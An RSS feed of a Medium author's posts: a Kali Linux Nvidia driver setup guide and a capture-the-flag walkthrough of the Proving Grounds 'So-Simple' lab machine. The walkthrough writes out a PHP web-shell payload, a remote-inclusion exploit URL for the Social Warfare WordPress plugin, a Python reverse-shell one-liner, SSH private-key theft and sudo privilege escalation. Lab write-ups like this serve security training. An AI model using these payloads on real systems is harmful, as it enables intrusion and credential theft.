<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by S4msec on Medium]]></title>
        <description><![CDATA[Stories by S4msec on Medium]]></description>
        <link>https://medium.com/@s4msec?source=rss-165c289d95e2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AAPdD0BMX_8zbFyFA7UgaA.png</url>
            <title>Stories by S4msec on Medium</title>
            <link>https://medium.com/@s4msec?source=rss-165c289d95e2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 07:56:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@s4msec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Nvidia Driver Installation |  Kali Linux.]]></title>
            <link>https://s4msec.medium.com/how-to-install-nvidia-driver-on-kali-linux-ced8fb995aa8?source=rss-165c289d95e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ced8fb995aa8</guid>
            <dc:creator><![CDATA[S4msec]]></dc:creator>
            <pubDate>Fri, 05 May 2023 11:07:19 GMT</pubDate>
            <atom:updated>2024-01-14T06:01:54.182Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*d_hiDIvLBfhpbGoSzaJ4cw.png" /><figcaption><a href="https://medium.com/@deepak_more_/how-to-install-nvidia-driver-on-kali-linux-ced8fb995aa8">How To Install Nvidia Driver On Kali Linux.</a></figcaption></figure><h3>How To Install Nvidia Driver On Kali Linux — [2023 MAY] —</h3><h3>System Configuration :</h3><pre>uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*m3QfZ_sIn6s6zuMQR_oacA.png" /></figure><pre>cat /etc/*release*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*JwL4cE9xSd2yN__0buRcxg.png" /></figure><h4><strong>Notes :-</strong></h4><blockquote><strong>1. Verify you have hybrid graphics.</strong></blockquote><pre>lspci | grep -E &quot;VGA|3D&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*VgyIT-DC6zjt4s_fmf_AYg.png" /></figure><blockquote><strong>2. Disable nouveau.</strong></blockquote><pre>echo -e &quot;blacklist nouveau\noptions nouveau modeset=0\nalias nouveau off&quot; &gt; /etc/modprobe.d/blacklist-nouveau.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*sZrxFH2p3Nll3-bN2ELgGA.png" /></figure><pre><br>update-initramfs -u &amp;&amp; reboot</pre><blockquote><strong>3. System will reboot and nouveau should be disabled.verify if nouveau is disabled:</strong></blockquote><pre>lsmod |grep -i nouveau</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*SnaYrApq0GamfK3CKsxZDg.png" /></figure><h4><strong>If shows nothing, means nouveau successfully disabled.</strong></h4><blockquote><strong>4. Install nvidia driver from kali repository:-</strong></blockquote><pre>apt-get install nvidia-driver nvidia-xconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*SvWjKc0WyLsr1T_SsMXmXg.png" /></figure><h4>You Can Also Download Latest .run File From Nvidia Website.Execute And Proceed With Installation. Whether Its From Kali Repository Or Nvidia Website, Procedure Is Same.</h4><blockquote><strong>5. Now we have to find bus id of our nvidia card:</strong></blockquote><pre>nvidia-xconfig - query-gpu-info | grep &#39;BusID : &#39; | cut -d &#39; &#39; -f6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*0r8w3hCeiXs8qdPJHewCiQ.png" /></figure><p><strong><em>It Should Show Something Like This :- </em>PCI:1:0:0</strong></p><p><strong>This is our Bus ID.</strong></p><blockquote><strong>6. Now we generate<em> /etc/X11/xorg.conf</em> file with this bus ID according to nvidia guide.</strong></blockquote><pre>vim /etc/X11/xorg.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*AabnHFqLtBKaySxzZmwYWQ.png" /></figure><p><em>Script :-</em></p><pre>Section &quot;ServerLayout&quot;<br>    Identifier &quot;layout&quot;<br>    Screen 0 &quot;nvidia&quot;<br>    Inactive &quot;intel&quot;<br>EndSection<br><br>Section &quot;Device&quot;<br>    Identifier &quot;nvidia&quot;<br>    Driver &quot;nvidia&quot;<br>    BusID &quot;PCI:1:0:0&quot;<br>EndSection<br><br>Section &quot;Screen&quot;<br>    Identifier &quot;nvidia&quot;<br>    Device &quot;nvidia&quot;<br>    Option &quot;AllowEmptyInitialConfiguration&quot;<br>EndSection<br><br>Section &quot;Device&quot;<br>    Identifier &quot;intel&quot;<br>    Driver &quot;modesetting&quot;<br>EndSection<br><br>Section &quot;Screen&quot;<br>    Identifier &quot;intel&quot;<br>    Device &quot;intel&quot;<br>EndSection</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*vZPKCRZyo4hwF8KsQMOQVw.png" /></figure><p>Replace the bold string with your <strong>Bus ID</strong> and save it to<strong> /etc/X11/xorg.conf</strong></p><blockquote><strong>7. Now we have to create some scripts according to our</strong><a href="https://wiki.archlinux.org/index.php...splay_Managers"><strong><em> display manager</em></strong></a><strong> I created two files:-</strong></blockquote><pre>/usr/share/gdm/greeter/autostart/optimus.desktop</pre><pre>/etc/xdg/autostart/optimus.desktop</pre><p><strong>With The Following Content:</strong></p><pre>vim /usr/share/gdm/greeter/autostart/optimus.desktop</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*EUI361xS_JnQ10GsWgkiWQ.png" /></figure><p><strong><em>Script :-</em></strong></p><pre>[Desktop Entry]<br>Type=Application<br>Name=Optimus<br>Exec=sh -c &quot;xrandr - setprovideroutputsource modesetting NVIDIA-0; xrandr - auto&quot;<br>NoDisplay=true<br>X-GNOME-Autostart-Phase=DisplayServer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*W15sgYHF5dMVLeYNYOF9HA.png" /></figure><pre>vim /etc/xdg/autostart/optimus.desktop</pre><blockquote><strong>8. Now reboot and you should be using Nvidia Driver.Verify if everything is ok:</strong></blockquote><pre>glxinfo | grep -i &quot;direct rendering&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Bz3B_JR5kLUXZQnBHofAQQ.png" /></figure><p><strong>You Can Now Install Your Cuda Toolkits:</strong></p><pre>apt-get install ocl-icd-libopencl1 nvidia-cuda-toolkit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*aKV5TmTFaxrg362pw60yhg.png" /></figure><p><strong>You Can Verify Successfully Boot Up With Nvidia Driver. By Opening Settings , About Section , Graphics.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*YRIA_8HwfZ4ava4WDfAQHg.png" /></figure><h4><strong>FIXING SCREEN TEARING ISSUE:</strong></h4><p>After You Successfully Boot Up With <strong>Nvidia Driver</strong>, You Most Probably Experiencing Screen Tearing Issue Eg: Playing Youtube Video On <strong>Chrome/Firefox etc</strong>. Luckily, We Can Fix This By E<strong>nabling</strong> <strong>PRIME Sync.</strong></p><ol><li><strong><em>Verify if PRIME is disabled.</em></strong></li></ol><p><strong><em>It Should Output Something Like This:</em></strong></p><pre>xrandr - verbose|grep PRIME</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*fpGmFK_fultwkZ503a0QOA.png" /></figure><p><strong><em>2. </em></strong>Edit<strong> /etc/default/grub<em> </em></strong>and append <strong>nvidia-drm.modeset=1<em> </em></strong>in<strong><em> </em>GRUB_CMDLINE_LINUX_DEFAULT<em> after </em>quiet<em>.</em></strong>Like the following:</p><pre>&quot;quiet nvidia-drm.modeset=1&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*tvkgXv_joyHvkC2uz7autA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*r8SLY_sFJOokF8UJE5Hdxg.png" /></figure><p>3.Save the changes. And Update grub</p><pre>update-grub</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*rk5mt7wI7ottNwj5AMVg8g.png" /></figure><p>4.Reboot your system.</p><p>5.Verify if PRIME is enabled:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*4HnD2JM9hgdYNAfYvwxcOw.png" /></figure><pre>xrandr --verbose|grep PRIME                                             </pre><p><strong>PRIME Synchronization: 1</strong></p><p><strong>If It Still Shows 0 For You, Then There Is Probably Something Wrong With Your System config/kernel. Since This Is Still An Experimental Feature from Nvidia, You Are Out Of Luck.</strong></p><h3><strong>^*^* IF YOU STUCK IN BOOT SCREEN ^*^*</strong></h3><h4>Revert what we have done so far:</h4><p><em>Press</em><strong><em> </em>CTRL+ALT+F2</strong> <em>or </em><strong>CTRL+ALT+F3</strong><em> , login with your password.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*cgbMAj5i6c38rC31Zp0M_Q.png" /></figure><pre>apt-get remove — purge nvidia*</pre><pre>rm -rf /etc/X11/xorg.conf</pre><h4>Remove those display manager files we created earlier.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*6d0p7gExf8PH2Mr_C7d9Gw.png" /></figure><pre>rm -rf /usr/share/gdm/greeter/autostart/optimus.desktop</pre><pre>rm -rf /etc/xdg/autostart/optimus.desktop</pre><h4>Now reboot. You Should Be Able Get Back To Your Old System.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ced8fb995aa8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So-Simple Walkthrough (Proving Grounds)]]></title>
            <link>https://s4msec.medium.com/so-simple-walkthrough-proving-grounds-ff7b42633f15?source=rss-165c289d95e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff7b42633f15</guid>
            <category><![CDATA[social-warfare]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[sosimple]]></category>
            <dc:creator><![CDATA[S4msec]]></dc:creator>
            <pubDate>Tue, 17 May 2022 09:17:46 GMT</pubDate>
            <atom:updated>2022-05-19T10:42:48.726Z</atom:updated>
            <cc:license>http://creativecommons.org/licenses/by/4.0/</cc:license>
            <content:encoded><![CDATA[<h4>SoSimple Walkthrough (Proving Grounds)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*KmsZDRVDmC569RAwuQJ9Qw.png" /><figcaption><a href="https://portal.offensive-security.com/proving-grounds/play">https://portal.offensive-security.com/proving-grounds/play</a></figcaption></figure><blockquote><strong><em>Description</em></strong><br>This Machine only Have Two Open Ports which are “22”&amp;“80”. Useful Directory “/wordpress/”. Running On<strong> Wordpress Cms </strong>. This Machine Have Some ‘<strong>Rabbit Holes</strong>’. Lets Start Enumerating This Box Step By Step.</blockquote><blockquote><strong>Port Scanning.</strong></blockquote><p>As usual start with scanning the network with <strong>Nmap</strong> for <strong>open ports</strong> and <strong>services</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l7UV-eCMf-Q6GqwRkrsmNg.png" /><figcaption>Command I Used = <strong>nmap -sV -sC -A 192.168.109.78</strong></figcaption></figure><blockquote><strong>Directory Bruteforce.</strong></blockquote><p>Through <strong>dirsearch</strong> Tool , I Got The Directory Which Was /wordpress/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*Ko15N5adqdqpt1coJI5GSQ.png" /><figcaption><strong>Command I Used = dirsearch -u </strong><a href="http://192.168.109.78/"><strong>http://192.168.109.78</strong></a></figcaption></figure><blockquote><strong>Enumerating Through Wpscan.</strong></blockquote><p>This Machine Is Running On A Vulnerable Plugin Which One Is “<strong>Social Warfare v3.5.0</strong>” Which We Can Easily Exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*02fbuKUulAV0bHiD-L9grw.png" /><figcaption><strong>Command I Used = </strong>wpscan — url <a href="http://192.168.109.78/wordpress">http://192.168.109.78/wordpress</a> -e ap</figcaption></figure><blockquote><strong>Exploit Poc.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*vjGyBpsr_q8ZGugvXopTqA.png" /><figcaption>You Can Also Check This Link For More Details<br>:- <a href="https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618"><strong>https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618</strong></a></figcaption></figure><blockquote><strong>Exploitation.</strong></blockquote><p>I Created A <strong>txt</strong> File, <strong>Payload.txt</strong> And I Used This Payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*rAVdwB5e1aLaxuOaloNY2A.png" /><figcaption><strong>=: &lt;pre&gt;system($_GET[cmd])&lt;/pre&gt;</strong></figcaption></figure><blockquote><strong>Uploading Payload.</strong></blockquote><p>Upload That File Locally On Local Host Your Side Using<strong> Python3 Server</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRFl0WdGA38gqfy0agjHsA.png" /><figcaption><strong>Command I Used= python3 -m http.server 9090</strong></figcaption></figure><p>Now Run That Payload I Had To Navigate To This Address: <a href="http://192.168.109.78/wordpress//wp-admin/admin-post.php"><strong>http://192.168.109.78/wordpress//wp-admin/admin-post.php</strong></a><strong>?<br>swp_debug=load_options&amp;swp_url=</strong><a href="http://192.168.49.109:9090/payload.txt&amp;cmd=whomai"><strong>http://192.168.49.109:9090/payload.txt&amp;cmd=whoami</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fByyD7T3cilsvS0J7qLn3w.png" /></figure><blockquote><strong>Reverse Shell.</strong></blockquote><p>Now Lets Take The <strong>Reverse Shell</strong>. I Started <strong>netcat</strong> To Listen To Incoming Connection on Port No. 4443</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUOAu__i46-QRf3d4yCx1w.png" /><figcaption><strong>nc -nlvp 4443</strong></figcaption></figure><p>After That I Checked This Server. It Have <strong>Python3</strong> Running On It.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Go5eFkWLqZS2TEPu-LpJ1A.png" /><figcaption><strong>= which python3</strong></figcaption></figure><p>I Put A <strong>Python3</strong> <strong>Exploit</strong> <strong>To Get The Reverse Shell </strong>, That Exploit Was As Follows :-</p><p><strong>python3 -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.49.167”,4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)’</strong></p><p>Put This In The <strong>Url</strong> Replacing “<strong>Whoami</strong>” command To This <strong>Python3</strong> <strong>Exploit</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyrbL2hcVVYbZtrmy6EfAw.png" /></figure><p>Now We Got The <strong>Reverse Shell</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*f13CTrpgkvbdnkF4M27Zhg.png" /><figcaption>This Machine Have Two User one is ‘<strong>Max</strong>’ And The Second One is ‘<strong>Steven</strong>’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*SQ8fzOEtA09dGloKqHEeYQ.png" /><figcaption><strong>Max</strong> User Have The user <strong>flag</strong>.</figcaption></figure><p>I Got <strong>id_rsa </strong>file Which Contain The SSh key in “.<strong>ssh</strong>” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*KqvL-Xh6qY3rIBy4bKxVZw.png" /><figcaption><strong>/home/max/.ssh/id_rsa</strong></figcaption></figure><p>Just Copy The ssh And Login Through <strong>max</strong> User. Which You Can See In The Below Screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*3OnlFuPtjnVZ2OJnFjT_UA.png" /><figcaption><strong>ssh -i id_rsa max@192.168.109.78</strong></figcaption></figure><p>I Tried <strong>Sudo -l</strong> Which Shows Me <strong>Steven</strong> Can Access This Location “ <strong>usr/sbin/service </strong>”. Which You Can See In The Below Screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*XrpoOjQeHFjECuJQMDEe_w.png" /><figcaption><strong>sudo -l</strong></figcaption></figure><p>I Searched This ‘<strong>service</strong>’ On <a href="https://gtfobins.github.io/"><strong>GTFOBins</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qi3TsfoZM2Hc7SZA8li5eQ.png" /></figure><p>I Tried Both As You Can See In This Screenshot. It Worked , Now I’M In As <strong>Steven</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pk7wLquTwcUhKW-kh_f5LA.png" /><figcaption><strong>sudo -u steven /usr/sbin/service ../../bin/bash</strong></figcaption></figure><blockquote><strong>Post Exploitation.</strong></blockquote><p>So Now Our Target Was To Get The Root Access, And Steven Is Also Not The Root User . So We Again Run “<strong>Sudo -l</strong>” command . It Shows That there Is An <strong>Script</strong> Which Can Be Easily Run As <strong>Root </strong>. I Tried To Run That <strong>Script</strong> But It Was Not Found There As Mentioned In The <strong>Given Directory </strong>, Than I Created one In “<strong>/opt</strong>” Directory Called “<strong>tools</strong>” And Put A Simple <strong>Reverse Shell</strong> And Saved It as “<strong>server-health.sh</strong>” Through Which I can Get The <strong>Bash</strong> <strong>shell</strong> As You Can See In The Below Screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_U40lWXVwJam-_2z8tID7w.png" /><figcaption><strong>Command I Used = mkdir tools</strong><br> -&gt; <strong>cd tools</strong><br>-&gt;<strong> nano server-health.sh</strong><br> Put “<strong>Bash</strong>” And Than Save&amp;Exit<br> -&gt; <strong>chmod +x server-health.sh</strong><br><strong>Than Run This -&gt; sudo -u root /opt/tools/server-health.sh</strong></figcaption></figure><p>This Completed The <strong>Machine</strong>! I Hope You Enjoyed Completing This With Me <strong>Clap</strong> 👏 If You <strong>Like</strong> What You <strong>Read</strong>. <strong>Feedback</strong> Is Always Welcomed.</p><blockquote><strong>Socials</strong> | <a href="https://twitter.com/deepak_more_"><strong><em>Twitter</em></strong></a><strong><em> | </em></strong><a href="https://github.com/deepakkk3"><strong><em>Github</em></strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff7b42633f15" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>